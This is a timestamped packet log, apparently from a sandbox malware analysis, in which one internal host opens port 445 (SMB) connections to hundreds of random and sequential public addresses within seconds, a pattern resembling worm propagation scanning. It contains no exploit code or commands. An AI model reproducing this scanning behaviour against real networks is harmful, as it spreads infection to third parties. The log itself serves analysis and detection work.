Dec 22, 2022 10:06:00.897043943 CET	445	55461	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:00.916099072 CET	55461	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:01.021043062 CET	445	55461	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:01.075766087 CET	55461	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:01.085306883 CET	55461	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:01.193039894 CET	445	55461	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:01.193145990 CET	55461	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:01.201185942 CET	55463	445	192.168.2.6	203.230.110.85
Dec 22, 2022 10:06:01.220680952 CET	55468	445	192.168.2.6	1.185.232.252
Dec 22, 2022 10:06:01.220817089 CET	55469	445	192.168.2.6	184.149.225.59
Dec 22, 2022 10:06:01.232570887 CET	55470	445	192.168.2.6	167.74.136.191
Dec 22, 2022 10:06:01.232973099 CET	55471	445	192.168.2.6	194.247.38.115
Dec 22, 2022 10:06:01.233247995 CET	55474	445	192.168.2.6	178.182.151.55
Dec 22, 2022 10:06:01.233433962 CET	55476	445	192.168.2.6	12.248.145.167
Dec 22, 2022 10:06:01.233700991 CET	55478	445	192.168.2.6	195.171.221.80
Dec 22, 2022 10:06:01.233890057 CET	55479	445	192.168.2.6	188.104.205.87
Dec 22, 2022 10:06:01.234626055 CET	55486	445	192.168.2.6	49.104.123.159
Dec 22, 2022 10:06:01.234802961 CET	55488	445	192.168.2.6	174.70.231.250
Dec 22, 2022 10:06:01.234987020 CET	55489	445	192.168.2.6	74.148.2.41
Dec 22, 2022 10:06:01.235488892 CET	55492	445	192.168.2.6	116.75.72.218
Dec 22, 2022 10:06:01.235656023 CET	55494	445	192.168.2.6	117.185.160.26
Dec 22, 2022 10:06:01.235898972 CET	55497	445	192.168.2.6	114.199.49.254
Dec 22, 2022 10:06:01.239270926 CET	55507	445	192.168.2.6	82.178.231.70
Dec 22, 2022 10:06:01.295998096 CET	55509	445	192.168.2.6	157.79.53.210
Dec 22, 2022 10:06:01.296045065 CET	55508	445	192.168.2.6	83.193.128.169
Dec 22, 2022 10:06:01.296199083 CET	55510	445	192.168.2.6	197.86.176.168
Dec 22, 2022 10:06:01.296302080 CET	55511	445	192.168.2.6	181.40.29.171
Dec 22, 2022 10:06:01.296401024 CET	55512	445	192.168.2.6	76.166.153.232
Dec 22, 2022 10:06:01.296439886 CET	55513	445	192.168.2.6	57.200.217.37
Dec 22, 2022 10:06:01.296535015 CET	55514	445	192.168.2.6	157.6.254.167
Dec 22, 2022 10:06:01.296672106 CET	55516	445	192.168.2.6	159.73.3.123
Dec 22, 2022 10:06:01.296673059 CET	55517	445	192.168.2.6	102.111.153.212
Dec 22, 2022 10:06:01.297317028 CET	55531	445	192.168.2.6	182.230.10.215
Dec 22, 2022 10:06:01.300344944 CET	55536	445	192.168.2.6	214.70.50.161
Dec 22, 2022 10:06:01.300462008 CET	55537	445	192.168.2.6	132.113.110.164
Dec 22, 2022 10:06:01.300518990 CET	55539	445	192.168.2.6	175.210.253.12
Dec 22, 2022 10:06:01.300698996 CET	55538	445	192.168.2.6	78.149.136.55
Dec 22, 2022 10:06:02.154006958 CET	54978	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:02.311424971 CET	55542	445	192.168.2.6	57.168.8.29
Dec 22, 2022 10:06:02.326474905 CET	55543	445	192.168.2.6	177.31.213.213
Dec 22, 2022 10:06:02.326606035 CET	55544	445	192.168.2.6	12.115.26.3
Dec 22, 2022 10:06:02.344672918 CET	55548	445	192.168.2.6	52.12.157.226
Dec 22, 2022 10:06:02.345098972 CET	55549	445	192.168.2.6	36.49.170.45
Dec 22, 2022 10:06:02.345921040 CET	55552	445	192.168.2.6	50.38.79.184
Dec 22, 2022 10:06:02.346481085 CET	55554	445	192.168.2.6	124.153.52.203
Dec 22, 2022 10:06:02.347567081 CET	55556	445	192.168.2.6	35.64.56.121
Dec 22, 2022 10:06:02.347790003 CET	55557	445	192.168.2.6	14.16.16.113
Dec 22, 2022 10:06:02.348674059 CET	55564	445	192.168.2.6	46.65.125.43
Dec 22, 2022 10:06:02.349076986 CET	55566	445	192.168.2.6	75.129.186.2
Dec 22, 2022 10:06:02.349508047 CET	55567	445	192.168.2.6	119.69.242.111
Dec 22, 2022 10:06:02.350043058 CET	55570	445	192.168.2.6	37.223.142.110
Dec 22, 2022 10:06:02.350522995 CET	55572	445	192.168.2.6	63.83.166.28
Dec 22, 2022 10:06:02.351310015 CET	55575	445	192.168.2.6	114.9.87.120
Dec 22, 2022 10:06:02.355232000 CET	55585	445	192.168.2.6	221.42.103.167
Dec 22, 2022 10:06:02.406284094 CET	55586	445	192.168.2.6	130.0.78.171
Dec 22, 2022 10:06:02.406380892 CET	55588	445	192.168.2.6	152.19.94.172
Dec 22, 2022 10:06:02.406452894 CET	55587	445	192.168.2.6	214.147.237.22
Dec 22, 2022 10:06:02.406547070 CET	55589	445	192.168.2.6	155.196.88.138
Dec 22, 2022 10:06:02.406550884 CET	55590	445	192.168.2.6	156.14.113.25
Dec 22, 2022 10:06:02.406658888 CET	55591	445	192.168.2.6	53.24.74.214
Dec 22, 2022 10:06:02.406703949 CET	55592	445	192.168.2.6	16.171.0.225
Dec 22, 2022 10:06:02.406821012 CET	55594	445	192.168.2.6	215.109.174.197
Dec 22, 2022 10:06:02.406954050 CET	55595	445	192.168.2.6	149.117.138.18
Dec 22, 2022 10:06:02.406963110 CET	55596	445	192.168.2.6	12.109.215.70
Dec 22, 2022 10:06:02.407491922 CET	55609	445	192.168.2.6	88.193.55.205
Dec 22, 2022 10:06:02.408701897 CET	55615	445	192.168.2.6	91.5.21.58
Dec 22, 2022 10:06:02.408762932 CET	55616	445	192.168.2.6	213.68.82.200
Dec 22, 2022 10:06:02.408762932 CET	55617	445	192.168.2.6	154.93.137.232
Dec 22, 2022 10:06:03.436156034 CET	55621	445	192.168.2.6	10.146.170.225
Dec 22, 2022 10:06:03.457828045 CET	55622	445	192.168.2.6	150.166.198.127
Dec 22, 2022 10:06:03.458283901 CET	55625	445	192.168.2.6	145.214.119.240
Dec 22, 2022 10:06:03.467324018 CET	55628	445	192.168.2.6	52.229.131.109
Dec 22, 2022 10:06:03.467704058 CET	55637	445	192.168.2.6	7.39.1.242
Dec 22, 2022 10:06:03.467823982 CET	55640	445	192.168.2.6	16.252.124.54
Dec 22, 2022 10:06:03.468019962 CET	55642	445	192.168.2.6	59.211.151.21
Dec 22, 2022 10:06:03.468163967 CET	55645	445	192.168.2.6	17.212.129.151
Dec 22, 2022 10:06:03.468182087 CET	55646	445	192.168.2.6	203.222.99.95
Dec 22, 2022 10:06:03.468300104 CET	55648	445	192.168.2.6	109.89.156.44
Dec 22, 2022 10:06:03.468592882 CET	55655	445	192.168.2.6	61.133.207.81
Dec 22, 2022 10:06:03.468597889 CET	55656	445	192.168.2.6	133.97.111.137
Dec 22, 2022 10:06:03.468728065 CET	55657	445	192.168.2.6	137.3.30.215
Dec 22, 2022 10:06:03.468822002 CET	55660	445	192.168.2.6	27.71.190.24
Dec 22, 2022 10:06:03.469101906 CET	55663	445	192.168.2.6	75.84.207.118
Dec 22, 2022 10:06:03.469604015 CET	55664	445	192.168.2.6	117.170.192.231
Dec 22, 2022 10:06:03.513848066 CET	55665	445	192.168.2.6	75.98.31.202
Dec 22, 2022 10:06:03.513945103 CET	55666	445	192.168.2.6	90.218.31.199
Dec 22, 2022 10:06:03.514219046 CET	55667	445	192.168.2.6	136.150.130.203
Dec 22, 2022 10:06:03.514219046 CET	55668	445	192.168.2.6	218.43.248.170
Dec 22, 2022 10:06:03.514380932 CET	55669	445	192.168.2.6	118.42.188.201
Dec 22, 2022 10:06:03.514436007 CET	55670	445	192.168.2.6	116.158.251.10
Dec 22, 2022 10:06:03.514606953 CET	55672	445	192.168.2.6	151.188.194.90
Dec 22, 2022 10:06:03.514683008 CET	55673	445	192.168.2.6	197.31.234.38
Dec 22, 2022 10:06:03.515001059 CET	55676	445	192.168.2.6	78.234.55.165
Dec 22, 2022 10:06:03.516191006 CET	55692	445	192.168.2.6	219.32.95.168
Dec 22, 2022 10:06:03.518414974 CET	55693	445	192.168.2.6	112.205.67.112
Dec 22, 2022 10:06:03.518512011 CET	55694	445	192.168.2.6	32.165.252.91
Dec 22, 2022 10:06:03.518591881 CET	55695	445	192.168.2.6	104.206.12.11
Dec 22, 2022 10:06:03.518649101 CET	55696	445	192.168.2.6	66.24.36.202
Dec 22, 2022 10:06:04.092539072 CET	55698	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:04.208923101 CET	445	55698	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:04.209114075 CET	55698	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:04.209194899 CET	55698	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:04.320786953 CET	445	55698	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:04.328809977 CET	445	55698	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:04.329634905 CET	55698	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:04.444874048 CET	445	55698	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:04.445045948 CET	55698	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:04.560841084 CET	445	55698	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:04.561408997 CET	55700	445	192.168.2.6	97.85.140.155
Dec 22, 2022 10:06:04.562098980 CET	55698	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:04.562292099 CET	55702	445	192.168.2.6	107.156.163.44
Dec 22, 2022 10:06:04.562870979 CET	55705	445	192.168.2.6	15.164.139.228
Dec 22, 2022 10:06:04.593247890 CET	55707	445	192.168.2.6	18.34.210.149
Dec 22, 2022 10:06:04.593466043 CET	55708	445	192.168.2.6	111.251.175.232
Dec 22, 2022 10:06:04.593693972 CET	55710	445	192.168.2.6	152.216.101.214
Dec 22, 2022 10:06:04.593911886 CET	55713	445	192.168.2.6	143.84.195.22
Dec 22, 2022 10:06:04.594149113 CET	55715	445	192.168.2.6	151.131.92.12
Dec 22, 2022 10:06:04.594314098 CET	55716	445	192.168.2.6	199.21.231.174
Dec 22, 2022 10:06:04.594813108 CET	55723	445	192.168.2.6	191.205.244.236
Dec 22, 2022 10:06:04.594973087 CET	55725	445	192.168.2.6	190.106.163.243
Dec 22, 2022 10:06:04.595158100 CET	55726	445	192.168.2.6	123.55.178.230
Dec 22, 2022 10:06:04.595390081 CET	55727	445	192.168.2.6	170.169.16.164
Dec 22, 2022 10:06:04.595591068 CET	55731	445	192.168.2.6	85.127.246.150
Dec 22, 2022 10:06:04.595694065 CET	55733	445	192.168.2.6	33.197.92.239
Dec 22, 2022 10:06:04.596400976 CET	55744	445	192.168.2.6	187.185.111.231
Dec 22, 2022 10:06:04.639081001 CET	55745	445	192.168.2.6	10.113.168.123
Dec 22, 2022 10:06:04.639297009 CET	55746	445	192.168.2.6	48.164.114.252
Dec 22, 2022 10:06:04.639481068 CET	55747	445	192.168.2.6	139.38.188.34
Dec 22, 2022 10:06:04.639611006 CET	55748	445	192.168.2.6	207.46.135.136
Dec 22, 2022 10:06:04.639677048 CET	55749	445	192.168.2.6	101.233.243.32
Dec 22, 2022 10:06:04.639759064 CET	55750	445	192.168.2.6	179.142.72.193
Dec 22, 2022 10:06:04.640024900 CET	55751	445	192.168.2.6	52.4.39.44
Dec 22, 2022 10:06:04.640234947 CET	55753	445	192.168.2.6	48.188.56.168
Dec 22, 2022 10:06:04.640582085 CET	55755	445	192.168.2.6	183.247.180.127
Dec 22, 2022 10:06:04.643954039 CET	55772	445	192.168.2.6	107.250.153.117
Dec 22, 2022 10:06:04.644500971 CET	55773	445	192.168.2.6	185.202.108.104
Dec 22, 2022 10:06:04.645009041 CET	55774	445	192.168.2.6	171.198.48.55
Dec 22, 2022 10:06:04.645641088 CET	55775	445	192.168.2.6	95.47.210.174
Dec 22, 2022 10:06:04.646135092 CET	55776	445	192.168.2.6	9.134.195.109
Dec 22, 2022 10:06:04.672853947 CET	445	55698	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:04.673086882 CET	55698	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:04.732661963 CET	55777	445	192.168.2.6	176.210.131.62
Dec 22, 2022 10:06:04.788798094 CET	445	55698	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:04.788913012 CET	55698	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:04.988878012 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:05.687112093 CET	55782	445	192.168.2.6	220.238.93.238
Dec 22, 2022 10:06:05.687925100 CET	55783	445	192.168.2.6	130.74.124.95
Dec 22, 2022 10:06:05.688394070 CET	55787	445	192.168.2.6	10.197.228.172
Dec 22, 2022 10:06:05.702064991 CET	55789	445	192.168.2.6	184.180.110.65
Dec 22, 2022 10:06:05.702356100 CET	55791	445	192.168.2.6	85.77.116.237
Dec 22, 2022 10:06:05.702505112 CET	55792	445	192.168.2.6	16.251.213.96
Dec 22, 2022 10:06:05.702760935 CET	55794	445	192.168.2.6	17.106.145.141
Dec 22, 2022 10:06:05.703733921 CET	55801	445	192.168.2.6	89.63.252.136
Dec 22, 2022 10:06:05.704009056 CET	55802	445	192.168.2.6	179.136.68.235
Dec 22, 2022 10:06:05.704382896 CET	55804	445	192.168.2.6	73.115.103.211
Dec 22, 2022 10:06:05.704842091 CET	55808	445	192.168.2.6	141.127.18.83
Dec 22, 2022 10:06:05.704902887 CET	55809	445	192.168.2.6	107.93.8.245
Dec 22, 2022 10:06:05.705596924 CET	55813	445	192.168.2.6	52.155.80.35
Dec 22, 2022 10:06:05.705861092 CET	55820	445	192.168.2.6	76.5.28.190
Dec 22, 2022 10:06:05.705959082 CET	55821	445	192.168.2.6	71.216.110.204
Dec 22, 2022 10:06:05.706578016 CET	55825	445	192.168.2.6	188.227.163.202
Dec 22, 2022 10:06:05.749481916 CET	55826	445	192.168.2.6	205.20.105.238
Dec 22, 2022 10:06:05.749643087 CET	55827	445	192.168.2.6	31.238.10.16
Dec 22, 2022 10:06:05.749931097 CET	55828	445	192.168.2.6	38.210.196.248
Dec 22, 2022 10:06:05.750175953 CET	55829	445	192.168.2.6	219.155.198.39
Dec 22, 2022 10:06:05.750299931 CET	55830	445	192.168.2.6	190.44.226.241
Dec 22, 2022 10:06:05.750453949 CET	55831	445	192.168.2.6	184.210.165.31
Dec 22, 2022 10:06:05.750730991 CET	55832	445	192.168.2.6	104.217.174.8
Dec 22, 2022 10:06:05.751013041 CET	55834	445	192.168.2.6	215.18.38.27
Dec 22, 2022 10:06:05.751332998 CET	55836	445	192.168.2.6	42.124.74.241
Dec 22, 2022 10:06:05.753217936 CET	55853	445	192.168.2.6	50.188.30.246
Dec 22, 2022 10:06:05.753887892 CET	55854	445	192.168.2.6	22.25.143.250
Dec 22, 2022 10:06:05.754801989 CET	55855	445	192.168.2.6	187.145.204.237
Dec 22, 2022 10:06:05.755861044 CET	55856	445	192.168.2.6	60.176.206.202
Dec 22, 2022 10:06:05.756190062 CET	55857	445	192.168.2.6	145.198.254.101
Dec 22, 2022 10:06:05.795449972 CET	55858	445	192.168.2.6	176.210.131.63
Dec 22, 2022 10:06:06.041254997 CET	445	55836	42.124.74.241	192.168.2.6
Dec 22, 2022 10:06:06.545013905 CET	55836	445	192.168.2.6	42.124.74.241
Dec 22, 2022 10:06:06.810954094 CET	55862	445	192.168.2.6	95.216.157.63
Dec 22, 2022 10:06:06.811137915 CET	55864	445	192.168.2.6	20.154.115.126
Dec 22, 2022 10:06:06.811367035 CET	55867	445	192.168.2.6	129.117.180.6
Dec 22, 2022 10:06:06.827972889 CET	55869	445	192.168.2.6	53.154.226.94
Dec 22, 2022 10:06:06.828732014 CET	55873	445	192.168.2.6	182.54.74.209
Dec 22, 2022 10:06:06.828999043 CET	55874	445	192.168.2.6	149.8.47.122
Dec 22, 2022 10:06:06.829828978 CET	55875	445	192.168.2.6	205.213.206.177
Dec 22, 2022 10:06:06.830404043 CET	55883	445	192.168.2.6	82.165.246.214
Dec 22, 2022 10:06:06.830543041 CET	55886	445	192.168.2.6	194.247.2.130
Dec 22, 2022 10:06:06.830645084 CET	55888	445	192.168.2.6	2.151.86.179
Dec 22, 2022 10:06:06.830897093 CET	55892	445	192.168.2.6	75.107.142.44
Dec 22, 2022 10:06:06.830962896 CET	55893	445	192.168.2.6	102.167.60.6
Dec 22, 2022 10:06:06.831489086 CET	55900	445	192.168.2.6	44.240.106.72
Dec 22, 2022 10:06:06.831588984 CET	55902	445	192.168.2.6	134.189.221.61
Dec 22, 2022 10:06:06.831654072 CET	55903	445	192.168.2.6	169.206.100.176
Dec 22, 2022 10:06:06.831805944 CET	55905	445	192.168.2.6	149.132.218.183
Dec 22, 2022 10:06:06.835066080 CET	445	55836	42.124.74.241	192.168.2.6
Dec 22, 2022 10:06:06.868225098 CET	445	55886	194.247.2.130	192.168.2.6
Dec 22, 2022 10:06:06.873970032 CET	55907	445	192.168.2.6	176.210.131.64
Dec 22, 2022 10:06:06.874514103 CET	55908	445	192.168.2.6	23.253.172.202
Dec 22, 2022 10:06:06.875169039 CET	55909	445	192.168.2.6	79.139.122.197
Dec 22, 2022 10:06:06.875760078 CET	55910	445	192.168.2.6	218.154.139.122
Dec 22, 2022 10:06:06.876319885 CET	55911	445	192.168.2.6	206.22.208.200
Dec 22, 2022 10:06:06.876513958 CET	55912	445	192.168.2.6	59.143.216.124
Dec 22, 2022 10:06:06.878500938 CET	55929	445	192.168.2.6	179.88.106.11
Dec 22, 2022 10:06:06.878753901 CET	55931	445	192.168.2.6	136.23.16.67
Dec 22, 2022 10:06:06.879074097 CET	55933	445	192.168.2.6	120.41.150.203
Dec 22, 2022 10:06:06.879267931 CET	55934	445	192.168.2.6	211.34.193.211
Dec 22, 2022 10:06:06.879380941 CET	55935	445	192.168.2.6	168.213.206.208
Dec 22, 2022 10:06:06.879503012 CET	55936	445	192.168.2.6	185.247.208.63
Dec 22, 2022 10:06:06.879630089 CET	55937	445	192.168.2.6	25.0.247.172
Dec 22, 2022 10:06:06.879793882 CET	55938	445	192.168.2.6	119.130.116.9
Dec 22, 2022 10:06:06.879971027 CET	55939	445	192.168.2.6	64.176.62.202
Dec 22, 2022 10:06:07.373223066 CET	55886	445	192.168.2.6	194.247.2.130
Dec 22, 2022 10:06:07.410886049 CET	445	55886	194.247.2.130	192.168.2.6
Dec 22, 2022 10:06:07.920696974 CET	55945	445	192.168.2.6	78.130.30.239
Dec 22, 2022 10:06:07.921180010 CET	55946	445	192.168.2.6	109.174.195.159
Dec 22, 2022 10:06:07.921499968 CET	55950	445	192.168.2.6	16.154.113.60
Dec 22, 2022 10:06:07.936167955 CET	55951	445	192.168.2.6	134.117.14.189
Dec 22, 2022 10:06:07.936247110 CET	55952	445	192.168.2.6	100.56.57.165
Dec 22, 2022 10:06:07.936867952 CET	55960	445	192.168.2.6	84.16.199.230
Dec 22, 2022 10:06:07.937010050 CET	55961	445	192.168.2.6	26.50.56.163
Dec 22, 2022 10:06:07.937310934 CET	55965	445	192.168.2.6	151.62.22.18
Dec 22, 2022 10:06:07.937465906 CET	55967	445	192.168.2.6	191.10.39.165
Dec 22, 2022 10:06:07.937683105 CET	55969	445	192.168.2.6	31.122.102.146
Dec 22, 2022 10:06:07.938942909 CET	55977	445	192.168.2.6	156.203.31.112
Dec 22, 2022 10:06:07.938958883 CET	55979	445	192.168.2.6	36.244.184.7
Dec 22, 2022 10:06:07.939044952 CET	55980	445	192.168.2.6	37.100.222.141
Dec 22, 2022 10:06:07.939780951 CET	55984	445	192.168.2.6	80.51.21.254
Dec 22, 2022 10:06:07.939913034 CET	55985	445	192.168.2.6	105.16.62.116
Dec 22, 2022 10:06:07.940150023 CET	55988	445	192.168.2.6	138.188.64.24
Dec 22, 2022 10:06:07.951625109 CET	55989	445	192.168.2.6	176.210.131.65
Dec 22, 2022 10:06:08.000008106 CET	55990	445	192.168.2.6	79.171.191.0
Dec 22, 2022 10:06:08.000638008 CET	55991	445	192.168.2.6	99.217.112.199
Dec 22, 2022 10:06:08.001403093 CET	55993	445	192.168.2.6	167.100.27.252
Dec 22, 2022 10:06:08.002887964 CET	56010	445	192.168.2.6	44.191.68.175
Dec 22, 2022 10:06:08.003118992 CET	56012	445	192.168.2.6	176.245.106.76
Dec 22, 2022 10:06:08.003298044 CET	56014	445	192.168.2.6	86.53.77.79
Dec 22, 2022 10:06:08.003385067 CET	56015	445	192.168.2.6	84.83.49.71
Dec 22, 2022 10:06:08.003561020 CET	56016	445	192.168.2.6	144.150.72.218
Dec 22, 2022 10:06:08.003729105 CET	56017	445	192.168.2.6	28.41.82.242
Dec 22, 2022 10:06:08.003815889 CET	56018	445	192.168.2.6	122.199.92.179
Dec 22, 2022 10:06:08.003871918 CET	56019	445	192.168.2.6	132.5.48.136
Dec 22, 2022 10:06:08.004043102 CET	56020	445	192.168.2.6	38.148.223.47
Dec 22, 2022 10:06:08.004708052 CET	56022	445	192.168.2.6	137.21.115.26
Dec 22, 2022 10:06:09.030550003 CET	56027	445	192.168.2.6	41.155.153.53
Dec 22, 2022 10:06:09.030880928 CET	56029	445	192.168.2.6	101.150.193.1
Dec 22, 2022 10:06:09.031311989 CET	56033	445	192.168.2.6	69.130.111.186
Dec 22, 2022 10:06:09.031452894 CET	56034	445	192.168.2.6	176.210.131.66
Dec 22, 2022 10:06:09.046185017 CET	56035	445	192.168.2.6	15.91.226.170
Dec 22, 2022 10:06:09.046339035 CET	56036	445	192.168.2.6	108.139.125.87
Dec 22, 2022 10:06:09.047271967 CET	56044	445	192.168.2.6	194.29.11.187
Dec 22, 2022 10:06:09.047425032 CET	56045	445	192.168.2.6	16.35.162.16
Dec 22, 2022 10:06:09.047966003 CET	56049	445	192.168.2.6	18.104.107.52
Dec 22, 2022 10:06:09.048187971 CET	56051	445	192.168.2.6	111.170.51.141
Dec 22, 2022 10:06:09.048472881 CET	56053	445	192.168.2.6	27.86.199.12
Dec 22, 2022 10:06:09.049803972 CET	56061	445	192.168.2.6	102.222.211.185
Dec 22, 2022 10:06:09.050139904 CET	56063	445	192.168.2.6	1.231.206.232
Dec 22, 2022 10:06:09.050367117 CET	56064	445	192.168.2.6	136.193.75.156
Dec 22, 2022 10:06:09.051094055 CET	56068	445	192.168.2.6	194.54.157.228
Dec 22, 2022 10:06:09.051275015 CET	56069	445	192.168.2.6	175.122.88.147
Dec 22, 2022 10:06:09.055073023 CET	56072	445	192.168.2.6	141.221.168.2
Dec 22, 2022 10:06:09.108442068 CET	56073	445	192.168.2.6	97.147.199.243
Dec 22, 2022 10:06:09.109046936 CET	56080	445	192.168.2.6	136.167.154.80
Dec 22, 2022 10:06:09.109529972 CET	56091	445	192.168.2.6	212.65.39.111
Dec 22, 2022 10:06:09.109661102 CET	56092	445	192.168.2.6	204.69.66.88
Dec 22, 2022 10:06:09.109770060 CET	56095	445	192.168.2.6	202.89.242.40
Dec 22, 2022 10:06:09.109882116 CET	56096	445	192.168.2.6	105.161.20.231
Dec 22, 2022 10:06:09.109985113 CET	56097	445	192.168.2.6	35.163.209.205
Dec 22, 2022 10:06:09.110002995 CET	56098	445	192.168.2.6	4.98.42.33
Dec 22, 2022 10:06:09.110081911 CET	56099	445	192.168.2.6	97.69.50.23
Dec 22, 2022 10:06:09.110129118 CET	56100	445	192.168.2.6	193.143.6.52
Dec 22, 2022 10:06:09.110210896 CET	56102	445	192.168.2.6	192.176.20.106
Dec 22, 2022 10:06:09.111609936 CET	56103	445	192.168.2.6	36.99.90.48
Dec 22, 2022 10:06:09.111676931 CET	56104	445	192.168.2.6	105.109.215.217
Dec 22, 2022 10:06:09.111696005 CET	56105	445	192.168.2.6	133.8.80.45
Dec 22, 2022 10:06:10.093005896 CET	56110	445	192.168.2.6	176.210.131.67
Dec 22, 2022 10:06:10.140223980 CET	56111	445	192.168.2.6	166.34.104.48
Dec 22, 2022 10:06:10.141453981 CET	56113	445	192.168.2.6	10.0.136.78
Dec 22, 2022 10:06:10.141952038 CET	56117	445	192.168.2.6	118.205.34.11
Dec 22, 2022 10:06:10.155088902 CET	56118	445	192.168.2.6	201.169.246.143
Dec 22, 2022 10:06:10.155172110 CET	56119	445	192.168.2.6	68.158.135.76
Dec 22, 2022 10:06:10.156039000 CET	56127	445	192.168.2.6	181.249.3.95
Dec 22, 2022 10:06:10.156347990 CET	56128	445	192.168.2.6	71.146.193.50
Dec 22, 2022 10:06:10.156625986 CET	56132	445	192.168.2.6	28.15.147.78
Dec 22, 2022 10:06:10.156761885 CET	56134	445	192.168.2.6	142.66.247.173
Dec 22, 2022 10:06:10.156955004 CET	56136	445	192.168.2.6	176.250.156.33
Dec 22, 2022 10:06:10.158094883 CET	56144	445	192.168.2.6	144.156.25.211
Dec 22, 2022 10:06:10.158298969 CET	56146	445	192.168.2.6	132.124.148.228
Dec 22, 2022 10:06:10.158477068 CET	56147	445	192.168.2.6	132.120.135.129
Dec 22, 2022 10:06:10.159574032 CET	56151	445	192.168.2.6	132.70.61.70
Dec 22, 2022 10:06:10.159782887 CET	56152	445	192.168.2.6	150.1.166.139
Dec 22, 2022 10:06:10.160146952 CET	56155	445	192.168.2.6	81.189.129.110
Dec 22, 2022 10:06:10.218755960 CET	56156	445	192.168.2.6	162.82.253.32
Dec 22, 2022 10:06:10.219669104 CET	56157	445	192.168.2.6	23.93.206.134
Dec 22, 2022 10:06:10.219815016 CET	56158	445	192.168.2.6	184.60.143.183
Dec 22, 2022 10:06:10.219901085 CET	56159	445	192.168.2.6	145.130.165.125
Dec 22, 2022 10:06:10.220052004 CET	56161	445	192.168.2.6	208.181.154.29
Dec 22, 2022 10:06:10.220213890 CET	56162	445	192.168.2.6	196.172.184.120
Dec 22, 2022 10:06:10.220314980 CET	56163	445	192.168.2.6	164.19.82.69
Dec 22, 2022 10:06:10.220432043 CET	56164	445	192.168.2.6	183.30.87.135
Dec 22, 2022 10:06:10.220592022 CET	56167	445	192.168.2.6	204.85.145.207
Dec 22, 2022 10:06:10.221057892 CET	56176	445	192.168.2.6	147.146.64.141
Dec 22, 2022 10:06:10.221767902 CET	56185	445	192.168.2.6	51.205.2.98
Dec 22, 2022 10:06:10.222835064 CET	56186	445	192.168.2.6	23.22.34.169
Dec 22, 2022 10:06:10.223088980 CET	56187	445	192.168.2.6	79.202.47.162
Dec 22, 2022 10:06:10.223186970 CET	56188	445	192.168.2.6	41.254.178.54
Dec 22, 2022 10:06:11.157680988 CET	56194	445	192.168.2.6	176.210.131.68
Dec 22, 2022 10:06:11.249257088 CET	56197	445	192.168.2.6	144.98.238.3
Dec 22, 2022 10:06:11.249258995 CET	56195	445	192.168.2.6	46.6.246.175
Dec 22, 2022 10:06:11.249808073 CET	56201	445	192.168.2.6	155.55.246.190
Dec 22, 2022 10:06:11.268098116 CET	56202	445	192.168.2.6	201.206.164.144
Dec 22, 2022 10:06:11.268471003 CET	56206	445	192.168.2.6	138.5.193.192
Dec 22, 2022 10:06:11.268723965 CET	56207	445	192.168.2.6	212.199.163.207
Dec 22, 2022 10:06:11.269347906 CET	56215	445	192.168.2.6	124.212.33.233
Dec 22, 2022 10:06:11.269515038 CET	56216	445	192.168.2.6	9.50.60.143
Dec 22, 2022 10:06:11.269710064 CET	56217	445	192.168.2.6	160.93.96.32
Dec 22, 2022 10:06:11.269921064 CET	56220	445	192.168.2.6	141.250.199.55
Dec 22, 2022 10:06:11.270427942 CET	56221	445	192.168.2.6	86.52.93.46
Dec 22, 2022 10:06:11.270961046 CET	56225	445	192.168.2.6	185.140.144.154
Dec 22, 2022 10:06:11.271090984 CET	56226	445	192.168.2.6	77.106.188.86
Dec 22, 2022 10:06:11.271797895 CET	56228	445	192.168.2.6	156.1.99.158
Dec 22, 2022 10:06:11.272491932 CET	56236	445	192.168.2.6	103.220.36.77
Dec 22, 2022 10:06:11.272799969 CET	56238	445	192.168.2.6	29.169.154.246
Dec 22, 2022 10:06:11.343070030 CET	56240	445	192.168.2.6	147.241.68.9
Dec 22, 2022 10:06:11.343239069 CET	56241	445	192.168.2.6	87.180.114.252
Dec 22, 2022 10:06:11.343343019 CET	56242	445	192.168.2.6	203.140.71.201
Dec 22, 2022 10:06:11.343487978 CET	56243	445	192.168.2.6	223.102.197.187
Dec 22, 2022 10:06:11.343668938 CET	56245	445	192.168.2.6	96.2.83.250
Dec 22, 2022 10:06:11.343748093 CET	56246	445	192.168.2.6	77.179.81.210
Dec 22, 2022 10:06:11.343830109 CET	56247	445	192.168.2.6	66.78.190.102
Dec 22, 2022 10:06:11.344011068 CET	56249	445	192.168.2.6	154.215.161.228
Dec 22, 2022 10:06:11.344234943 CET	56251	445	192.168.2.6	60.19.207.112
Dec 22, 2022 10:06:11.344907045 CET	56260	445	192.168.2.6	192.58.216.110
Dec 22, 2022 10:06:11.345654964 CET	56269	445	192.168.2.6	91.125.163.70
Dec 22, 2022 10:06:11.346139908 CET	56270	445	192.168.2.6	198.154.41.41
Dec 22, 2022 10:06:11.346750021 CET	56271	445	192.168.2.6	161.223.20.58
Dec 22, 2022 10:06:11.347243071 CET	56272	445	192.168.2.6	114.174.129.227
Dec 22, 2022 10:06:11.640062094 CET	445	56272	114.174.129.227	192.168.2.6
Dec 22, 2022 10:06:11.764255047 CET	54978	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:12.154877901 CET	56272	445	192.168.2.6	114.174.129.227
Dec 22, 2022 10:06:12.234370947 CET	56278	445	192.168.2.6	176.210.131.69
